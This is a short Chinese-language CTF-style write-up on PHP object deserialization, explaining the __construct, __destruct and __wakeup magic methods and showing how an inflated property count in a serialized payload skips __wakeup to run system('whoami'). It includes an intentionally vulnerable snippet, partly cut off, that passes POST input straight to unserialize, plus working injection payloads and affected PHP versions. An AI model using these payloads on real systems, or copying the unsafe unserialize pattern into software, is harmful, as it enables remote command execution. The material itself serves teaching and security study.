0x01 unserialize 和 serialize的注意點:
1、__construct():當對象創建(new)時會自動調用。但在 unserialize() 時是不會自動調用的。(構造函數)
 2、__destruct():當對象被銷毀時會自動調用。(析構函數)
 3、__wakeup():unserialize() 時會自動調用。
0x02 試題:
``` warn); } function __wakeup(){ foreach(get_object_vars($this) as $k => $v) { $this->$k = null; } } } $cmd = $_POST[cmd]; unserialize($cmd); ?> ```post請求cmd=O:7:"convent":1:{s:4:"warn";s:17:"system("whoami");";},會發現是空白,說明命令並沒有執行
語句改為這樣試試看:cmd=O:7:"convent":2:{s:4:"warn";s:17:"system("whoami");";},發現命令執行成功

這里也說明了__wakeup():unserialize() 時會自動調用
我們在反序列化的時候 可能有時候__wakeup 中會進行一些過濾等等的操作 所以我們需要嘗試繞過
0x03 總結:
繞過的條件:反序列化中object的個數和之前的個數不等
影響版本: PHP5 < 5.6.25, PHP7 < 7.0.10
